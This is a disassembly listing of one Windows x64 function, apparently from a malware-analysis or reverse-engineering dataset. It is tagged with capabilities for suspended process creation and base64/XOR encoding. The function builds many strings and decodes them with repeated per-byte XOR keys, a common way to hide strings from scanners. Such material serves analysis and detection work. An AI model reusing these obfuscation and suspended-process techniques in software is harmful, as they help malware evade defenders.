Function at 0x14000d7f0
Capabilities:
Create process on windows
Create process suspended
Encode data using base64
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f8]
sub rsp, 0x4f8
mov rax, qword [0x1400bb190]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov qword [rbp - 0x38], r9
mov r12, r8
mov qword [rsp + 0x78], rdx
mov r14, rcx
mov qword [rsp + 0x50], rcx
mov qword [rbp + 0xb8], rdx
mov dword [rbp - 0x60], 0
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x14009ef20]
mov word [rbp + 0x1b8], 0xbdf1
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x7d0
mov eax, dword [rcx + rdi]
mov ebx, 0x950
add rbx, rdi
test al, 1
jne 0x14000d8c8
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rbp + 0x1b9]
cmp rbx, rcx
ja 0x14000d8ad
lea rcx, [rbp + 0x1a8]
cmp rax, rcx
jb 0x14000d8ad
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1b8]
mov word [rbx + 0x10], ax
jmp 0x14000d8bb
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1b8]
mov word [rbx + 0x10], ax
lea rcx, [0x1400901a0]
call fcn.14007df40
nop
cmp byte [rbx + 0x12], 0
je 0x14000d919
xor byte [rbx], 0x9f
xor byte [rbx + 1], 0xbd
xor byte [rbx + 2], 0x4d
xor byte [rbx + 3], 0x9b
xor byte [rbx + 4], 0xcd
xor byte [rbx + 5], 0xb9
xor byte [rbx + 6], 0x4d
xor byte [rbx + 7], 0x19
xor byte [rbx + 8], 0x9f
xor byte [rbx + 9], 0xbd
xor byte [rbx + 0xa], 0x4d
xor byte [rbx + 0xb], 0x9b
xor byte [rbx + 0xc], 0xcd
xor byte [rbx + 0xd], 0xb9
xor byte [rbx + 0xe], 0x4d
xor byte [rbx + 0xf], 0x19
xor byte [rbx + 0x10], 0x9f
xor byte [rbx + 0x11], 0xbd
mov byte [rbx + 0x12], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140008eb0
lea rdx, [0x140009080]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x6cc
mov eax, dword [rcx + rdi]
mov edx, 0x818
test al, 1
jne 0x14000d975
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 9], 0x143
mov dword [rbx], 0x6c562256
mov dword [rbx + 4], 0xb508a3fe
mov byte [rbx + 8], 0x59
lea rcx, [0x140090180]
call fcn.14007df40
nop
jmp 0x14000d979
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xa], 0
je 0x14000d9aa
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0x3b
xor byte [rbx + 3], 9
xor byte [rbx + 4], 0xa1
xor byte [rbx + 5], 0xd3
xor byte [rbx + 6], 0x69
xor byte [rbx + 7], 0xc1
xor byte [rbx + 8], 0x31
xor byte [rbx + 9], 0x43
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000d9c3
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.1400097b0
nop
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.140006eb0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xor r15d, r15d
mov qword [rbp + 0xf0], r15
mov r13d, 0xf
mov qword [rbp + 0xf8], r13
mov byte [rbp + 0xe0], r15b
mov dword [rbp - 0x60], 4
cmp byte [rax], 3
jne 0x14000fd3c
mov rdx, qword [rax + 8]
lea rax, [rbp + 0xe0]
cmp rax, rdx
je 0x14000da57
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14000da3d
mov rdx, qword [rdx]
lea rcx, [rbp + 0xe0]
call fcn.140008190
mov r13, qword [rbp + 0xf8]
mov r15, qword [rbp + 0xf0]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14000da92
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000da8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f727
call fcn.14007de64
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor edx, edx
mov qword [rbp + 0xd0], rdx
mov qword [rbp + 0xd8], rdx
lea r14, [rbp + 0xe0]
cmp r13, 0x10
cmovae r14, qword [rbp + 0xe0]
movabs rbx, 0x7fffffffffffffff
cmp r15, rbx
ja 0x14000fd81
mov qword [rbp + 0xd8], 0xf
cmp r15, 0x10
jae 0x14000dafa
mov qword [rbp + 0xd0], r15
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0xc0], xmm0
jmp 0x14000db8c
mov rax, r15
or rax, 0xf
cmp rax, rbx
ja 0x14000db15
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, rsi
cmp rcx, 0x1000
jb 0x14000db58
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000fd87
mov rcx, rax
call fcn.14007db00
mov rcx, rax
test rax, rax
je 0x14000f727
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000db67
test rcx, rcx
je 0x14000db64
call fcn.14007db00
jmp 0x14000db67
mov rax, rdx
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], rbx
lea r8, [r15 + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
call fcn.14000fe10
mov rcx, rax
call fcn.140010360
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000dba0
mov rdx, rcx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
mov ecx, 0x684
mov eax, dword [rcx + rdi]
mov edx, 0x858
test al, 1
jne 0x14000dbfd
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xa], 0x1fd4968
mov dword [rbx], 0x554c565b
mov dword [rbx + 4], 0x8cc14e94
mov word [rbx + 8], 0xf09
lea rcx, [0x140090130]
call fcn.14007df40
nop
jmp 0x14000dc01
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x14000dc3e
xor byte [rbx], 0x7b
xor byte [rbx + 1], 0x7b
xor byte [rbx + 2], 9
xor byte [rbx + 3], 0x25
xor byte [rbx + 4], 0xfd
xor byte [rbx + 5], 0x2d
xor byte [rbx + 6], 0x91
xor byte [rbx + 7], 0xe3
xor byte [rbx + 8], 0x7b
xor byte [rbx + 9], 0x7b
xor byte [rbx + 0xa], 9
xor byte [rbx + 0xb], 0x25
xor byte [rbx + 0xc], 0xfd
mov byte [rbx + 0xd], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000dc41
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
movdqa xmm0, xmmword [0x14009ea80]
mov word [rbp + 0x218], 0x64dd
mov ecx, 0x668
mov eax, dword [rcx + rdi]
mov edx, 0x7d8
test al, 1
jne 0x14000dcdb
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rbp + 0x21a]
cmp rbx, rcx
ja 0x14000dcba
lea rcx, [rbp + 0x208]
cmp rax, rcx
jb 0x14000dcba
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x218]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x65
jmp 0x14000dccc
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x218]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0x65
lea rcx, [0x140090100]
call fcn.14007df40
nop
jmp 0x14000dcdf
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x13], 0
je 0x14000dd34
xor byte [rbx], 0xa9
xor byte [rbx + 1], 1
xor byte [rbx + 2], 0x65
xor byte [rbx + 3], 0x7b
xor byte [rbx + 4], 0xed
xor byte [rbx + 5], 0x21
xor byte [rbx + 6], 0xfb
xor byte [rbx + 7], 0x57
xor byte [rbx + 8], 0xa9
xor byte [rbx + 9], 1
xor byte [rbx + 0xa], 0x65
xor byte [rbx + 0xb], 0x7b
xor byte [rbx + 0xc], 0xed
xor byte [rbx + 0xd], 0x21
xor byte [rbx + 0xe], 0xfb
xor byte [rbx + 0xf], 0x57
xor byte [rbx + 0x10], 0xa9
xor byte [rbx + 0x11], 1
xor byte [rbx + 0x12], 0x65
mov byte [rbx + 0x13], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000dd40
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
mov ecx, 0x6e8
mov eax, dword [rcx + rdi]
mov edx, 0x688
test al, 1
jne 0x14000dd9e
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xc], 0x163b7ca
mov dword [rbx], 0xaf4a887d
mov dword [rbx + 4], 0xb506b0cc
mov dword [rbx + 8], 0xad7f982b
lea rcx, [0x1400900d0]
call fcn.14007df40
nop
jmp 0x14000dda2
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xf], 0
je 0x14000dde7
xor byte [rbx], 0x5d
xor byte [rbx + 1], 0xa5
xor byte [rbx + 2], 0x2f
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0xa5
xor byte [rbx + 5], 0xd3
xor byte [rbx + 6], 0x63
xor byte [rbx + 7], 0xdb
xor byte [rbx + 8], 0x5d
xor byte [rbx + 9], 0xa5
xor byte [rbx + 0xa], 0x2f
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0xa5
xor byte [rbx + 0xd], 0xd3
xor byte [rbx + 0xe], 0x63
mov byte [rbx + 0xf], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000ddf0
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
movdqa xmm0, xmmword [0x14009efa0]
mov word [rbp + 0x200], 0x309c
mov ecx, 0x870
mov eax, dword [rcx + rdi]
mov edx, 0x798
test al, 1
jne 0x14000de8a
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x13], 1
lea rax, [rbx + 0x12]
lea rcx, [rbp + 0x202]
cmp rbx, rcx
ja 0x14000de69
lea rcx, [rbp + 0x1f0]
cmp rax, rcx
jb 0x14000de69
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x200]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0xbf
jmp 0x14000de7b
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x200]
mov word [rbx + 0x10], ax
mov byte [rbx + 0x12], 0xbf
lea rcx, [0x1400900a0]
call fcn.14007df40
nop
jmp 0x14000de8e
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x13], 0
je 0x14000dee3
xor byte [rbx], 0xe9
xor byte [rbx + 1], 0x43
xor byte [rbx + 2], 0xbf
xor byte [rbx + 3], 0xaf
xor byte [rbx + 4], 0x91
xor byte [rbx + 5], 0xcd
xor byte [rbx + 6], 0xd5
xor byte [rbx + 7], 0x55
xor byte [rbx + 8], 0xe9
xor byte [rbx + 9], 0x43
xor byte [rbx + 0xa], 0xbf
xor byte [rbx + 0xb], 0xaf
xor byte [rbx + 0xc], 0x91
xor byte [rbx + 0xd], 0xcd
xor byte [rbx + 0xe], 0xd5
xor byte [rbx + 0xf], 0x55
xor byte [rbx + 0x10], 0xe9
xor byte [rbx + 0x11], 0x43
xor byte [rbx + 0x12], 0xbf
mov byte [rbx + 0x13], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000dee6
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
mov ecx, 0x794
mov eax, dword [rcx + rdi]
mov edx, 0x938
test al, 1
jne 0x14000df43
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xa], 0x1edf99e
mov dword [rbx], 0xe59a02ef
mov dword [rbx + 4], 0x9e335a84
mov word [rbx + 8], 0x5bbd
lea rcx, [0x140090080]
call fcn.14007df40
nop
jmp 0x14000df47
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xd], 0
je 0x14000df82
xor byte [rbx], 0xcf
xor byte [rbx + 1], 0x2f
not byte [rbx + 2]
xor byte [rbx + 3], 0x95
xor byte [rbx + 4], 0xed
xor byte [rbx + 5], 0x39
xor byte [rbx + 6], 0x43
xor byte [rbx + 7], 0xf1
xor byte [rbx + 8], 0xcf
xor byte [rbx + 9], 0x2f
not byte [rbx + 0xa]
xor byte [rbx + 0xb], 0x95
xor byte [rbx + 0xc], 0xed
mov byte [rbx + 0xd], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000df85
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
mov ecx, 0x878
mov eax, dword [rcx + rdi]
mov edx, 0x5b8
test al, 1
jne 0x14000dfde
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 7], 0x11b
mov dword [rbx], 0x1af7c84d
mov word [rbx + 4], 0xacea
mov byte [rbx + 6], 0x64
lea rcx, [0x140090060]
call fcn.14007df40
nop
jmp 0x14000dfe2
lea rbx, [rdx + rdi]
cmp byte [rbx + 8], 0
je 0x14000e00b
xor byte [rbx], 0x6d
xor byte [rbx + 1], 0xe5
xor byte [rbx + 2], 0x99
xor byte [rbx + 3], 0x75
xor byte [rbx + 4], 0x8f
xor byte [rbx + 5], 0xcd
xor byte [rbx + 6], 7
xor byte [rbx + 7], 0x1b
mov byte [rbx + 8], 0
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e010
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
mov ecx, 0x598
mov eax, dword [rcx + rdi]
mov edx, 0x928
test al, 1
jne 0x14000e060
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 4], 0x1675655
mov dword [rbx], 0x68b1b4d9
lea rcx, [0x140090030]
call fcn.14007df40
nop
jmp 0x14000e064
lea rbx, [rdx + rdi]
cmp byte [rbx + 7], 0
je 0x14000e089
xor byte [rbx], 0xf9
xor byte [rbx + 1], 0x99
xor byte [rbx + 2], 0xdf
xor byte [rbx + 3], 7
xor byte [rbx + 4], 0x37
xor byte [rbx + 5], 0x33
xor byte [rbx + 6], 0x67
mov byte [rbx + 7], 0
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e090
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
mov ecx, 0x7d4
mov eax, dword [rcx + rdi]
mov edx, 0x658
test al, 1
jne 0x14000e0f0
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov word [rbx + 0xb], 0x1a3
mov dword [rbx], 0xd11b32f3
mov dword [rbx + 4], 0x91299cd2
mov word [rbx + 8], 0x7dee
mov byte [rbx + 0xa], 0x18
lea rcx, [0x140090010]
call fcn.14007df40
nop
jmp 0x14000e0f4
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xc], 0
je 0x14000e12d
xor byte [rbx], 0xd3
xor byte [rbx + 1], 0x1f
xor byte [rbx + 2], 0x7d
xor byte [rbx + 3], 0xa3
xor byte [rbx + 4], 0xbd
xor byte [rbx + 5], 0xf1
xor byte [rbx + 6], 0x4f
xor byte [rbx + 7], 0xfd
xor byte [rbx + 8], 0xd3
xor byte [rbx + 9], 0x1f
xor byte [rbx + 0xa], 0x7d
xor byte [rbx + 0xb], 0xa3
mov byte [rbx + 0xc], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e130
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
movdqa xmm0, xmmword [0x14009fa00]
movdqa xmm1, xmmword [0x14009f7e0]
mov word [rbp + 0x270], 0x6ff8
mov ecx, 0x7ac
mov eax, dword [rcx + rdi]
mov edx, 0x828
test al, 1
jne 0x14000e1da
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x23], 1
lea rax, [rbx + 0x22]
lea rcx, [rbp + 0x272]
cmp rbx, rcx
ja 0x14000e1b5
lea rcx, [rbp + 0x250]
cmp rax, rcx
jb 0x14000e1b5
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rbp + 0x270]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x43
jmp 0x14000e1cb
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movzx eax, word [rbp + 0x270]
mov word [rbx + 0x20], ax
mov byte [rbx + 0x22], 0x43
lea rcx, [0x14008ffe0]
call fcn.14007df40
nop
jmp 0x14000e1de
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x23], 0
je 0x14000e277
xor byte [rbx], 0xcd
xor byte [rbx + 1], 0x59
xor byte [rbx + 2], 0x43
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0x61
xor byte [rbx + 5], 0x79
xor byte [rbx + 6], 9
xor byte [rbx + 7], 0x81
xor byte [rbx + 8], 0xcd
xor byte [rbx + 9], 0x59
xor byte [rbx + 0xa], 0x43
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0x61
xor byte [rbx + 0xd], 0x79
xor byte [rbx + 0xe], 9
xor byte [rbx + 0xf], 0x81
xor byte [rbx + 0x10], 0xcd
xor byte [rbx + 0x11], 0x59
xor byte [rbx + 0x12], 0x43
xor byte [rbx + 0x13], 0x8f
xor byte [rbx + 0x14], 0x61
xor byte [rbx + 0x15], 0x79
xor byte [rbx + 0x16], 9
xor byte [rbx + 0x17], 0x81
xor byte [rbx + 0x18], 0xcd
xor byte [rbx + 0x19], 0x59
xor byte [rbx + 0x1a], 0x43
xor byte [rbx + 0x1b], 0x8f
xor byte [rbx + 0x1c], 0x61
xor byte [rbx + 0x1d], 0x79
xor byte [rbx + 0x1e], 9
xor byte [rbx + 0x1f], 0x81
xor byte [rbx + 0x20], 0xcd
xor byte [rbx + 0x21], 0x59
xor byte [rbx + 0x22], 0x43
mov byte [rbx + 0x23], 0
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e280
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
movdqa xmm0, xmmword [0x14009eb60]
mov ecx, 0x5c8
mov eax, dword [rcx + rdi]
mov edx, 0x628
test al, 1
jne 0x14000e2fb
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x2c0]
cmp rbx, rcx
ja 0x14000e2e5
lea rcx, [rbp + 0x2b0]
cmp rax, rcx
jb 0x14000e2e5
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x15
jmp 0x14000e2ec
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x15
lea rcx, [0x14008ffc0]
call fcn.14007df40
nop
jmp 0x14000e2ff
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x11], 0
je 0x14000e34c
xor byte [rbx], 0x15
xor byte [rbx + 1], 0xd7
xor byte [rbx + 2], 0x9b
xor byte [rbx + 3], 5
xor byte [rbx + 4], 0xc5
xor byte [rbx + 5], 0xa5
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x21
xor byte [rbx + 8], 0x15
xor byte [rbx + 9], 0xd7
xor byte [rbx + 0xa], 0x9b
xor byte [rbx + 0xb], 5
xor byte [rbx + 0xc], 0xc5
xor byte [rbx + 0xd], 0xa5
xor byte [rbx + 0xe], 0x3f
xor byte [rbx + 0xf], 0x21
xor byte [rbx + 0x10], 0x15
mov byte [rbx + 0x11], 0
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e350
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
movdqa xmm0, xmmword [0x14009ec50]
mov dword [rbp + 0x150], 0x733e5932
mov word [rbp + 0x154], 0x12b7
mov ecx, 0x594
mov eax, dword [rcx + rdi]
mov edx, 0x5a0
test al, 1
jne 0x14000e406
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x17], 1
lea rax, [rbx + 0x16]
lea rcx, [rbp + 0x156]
cmp rbx, rcx
ja 0x14000e3dc
lea rcx, [rbp + 0x140]
cmp rax, rcx
jb 0x14000e3dc
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x150]
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0x154]
mov word [rbx + 0x14], ax
mov byte [rbx + 0x16], 0x75
jmp 0x14000e3f7
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x150]
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0x154]
mov word [rbx + 0x14], ax
mov byte [rbx + 0x16], 0x75
lea rcx, [0x14008ff90]
call fcn.14007df40
nop
jmp 0x14000e40a
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x17], 0
je 0x14000e46f
xor byte [rbx], 0x5b
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x5f
xor byte [rbx + 3], 0x11
xor byte [rbx + 4], 0xdb
xor byte [rbx + 5], 0x77
xor byte [rbx + 6], 0x75
xor byte [rbx + 7], 0x3b
xor byte [rbx + 8], 0x5b
xor byte [rbx + 9], 0x35
xor byte [rbx + 0xa], 0x5f
xor byte [rbx + 0xb], 0x11
xor byte [rbx + 0xc], 0xdb
xor byte [rbx + 0xd], 0x77
xor byte [rbx + 0xe], 0x75
xor byte [rbx + 0xf], 0x3b
xor byte [rbx + 0x10], 0x5b
xor byte [rbx + 0x11], 0x35
xor byte [rbx + 0x12], 0x5f
xor byte [rbx + 0x13], 0x11
xor byte [rbx + 0x14], 0xdb
xor byte [rbx + 0x15], 0x77
xor byte [rbx + 0x16], 0x75
mov byte [rbx + 0x17], 0
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e472
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
mov ecx, 0x5cc
mov eax, dword [rcx + rdi]
mov edx, 0x610
test al, 1
jne 0x14000e4d0
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdx + rdi]
mov dword [rbx + 0xc], 0x1793574
mov dword [rbx], 0x59230861
mov dword [rbx + 4], 0xfa441145
mov dword [rbx + 8], 0x43224b28
lea rcx, [0x14008ff60]
call fcn.14007df40
nop
jmp 0x14000e4d4
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xf], 0
je 0x14000e519
xor byte [rbx], 0x41
xor byte [rbx + 1], 0x25
xor byte [rbx + 2], 0x6b
xor byte [rbx + 3], 0xd
xor byte [rbx + 4], 0x11
xor byte [rbx + 5], 0x41
xor byte [rbx + 6], 0x79
xor byte [rbx + 7], 0xad
xor byte [rbx + 8], 0x41
xor byte [rbx + 9], 0x25
xor byte [rbx + 0xa], 0x6b
xor byte [rbx + 0xb], 0xd
xor byte [rbx + 0xc], 0x11
xor byte [rbx + 0xd], 0x41
xor byte [rbx + 0xe], 0x79
mov byte [rbx + 0xf], 0
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e520
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
mov ecx, 0x698
mov eax, dword [rcx + rdi]
mov edx, 0x5d0
test al, 1
jne 0x14000e581
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov word [rbx + 0xd], 0x1e3
mov dword [rbx], 0x8a782407
mov dword [rbx + 4], 0xd160ab3b
mov dword [rbx + 8], 0x91704e68
mov byte [rbx + 0xc], 0x52
lea rcx, [0x14008ff40]
call fcn.14007df40
nop
jmp 0x14000e585
lea rbx, [rdx + rdi]
cmp byte [rbx + 0xe], 0
je 0x14000e5c6
xor byte [rbx], 0x27
xor byte [rbx + 1], 9
xor byte [rbx + 2], 0x39
xor byte [rbx + 3], 0xdf
xor byte [rbx + 4], 0x6f
xor byte [rbx + 5], 0xe3
xor byte [rbx + 6], 0x3f
xor byte [rbx + 7], 0x9d
xor byte [rbx + 8], 0x27
xor byte [rbx + 9], 9
xor byte [rbx + 0xa], 0x39
xor byte [rbx + 0xb], 0xdf
xor byte [rbx + 0xc], 0x6f
xor byte [rbx + 0xd], 0xe3
mov byte [rbx + 0xe], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e5e0
mov rdx, rbx
lea rcx, [rbp + 0x68]
call fcn.1400097b0
nop
mov r8, qword [r12 + 0x10]
cmp qword [r12 + 0x18], 0x10
jb 0x14000e608
mov r12, qword [r12]
mov rdx, r12
lea rcx, [rbp + 0x68]
call fcn.1400082f0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
xor r12d, r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea rdx, [rbp - 0x58]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
cmovae rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0xc0]
call fcn.1400082f0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14000e6a5
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e69f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e69f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x14000e6e6
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e6e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e6e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007de64
movdqa xmm0, xmmword [0x14009e610]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x810
mov eax, dword [rdx + rcx]
mov ebx, 0x8a0
add rbx, rcx
test al, 1
jne 0x14000e751
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x11], 1
lea rax, [rbx + 0x10]
lea rcx, [rbp + 0x2d8]
cmp rbx, rcx
ja 0x14000e73d
lea rcx, [rbp + 0x2c8]
cmp rax, rcx
jb 0x14000e73d
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x33
jmp 0x14000e744
movups xmmword [rbx], xmm0
mov byte [rbx + 0x10], 0x33
lea rcx, [0x14008ff20]
call fcn.14007df40
nop
cmp byte [rbx + 0x11], 0
je 0x14000e79e
xor byte [rbx], 0x33
xor byte [rbx + 1], 5
xor byte [rbx + 2], 0x4b
xor byte [rbx + 3], 0x87
xor byte [rbx + 4], 0x21
xor byte [rbx + 5], 9
xor byte [rbx + 6], 7
xor byte [rbx + 7], 0x31
xor byte [rbx + 8], 0x33
xor byte [rbx + 9], 5
xor byte [rbx + 0xa], 0x4b
xor byte [rbx + 0xb], 0x87
xor byte [rbx + 0xc], 0x21
xor byte [rbx + 0xd], 9
xor byte [rbx + 0xe], 7
xor byte [rbx + 0xf], 0x31
xor byte [rbx + 0x10], 0x33
mov byte [rbx + 0x11], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x14000e7b0
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.1400097b0
nop
mov rax, qword [rbp - 0x38]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000e7d9
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400082f0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
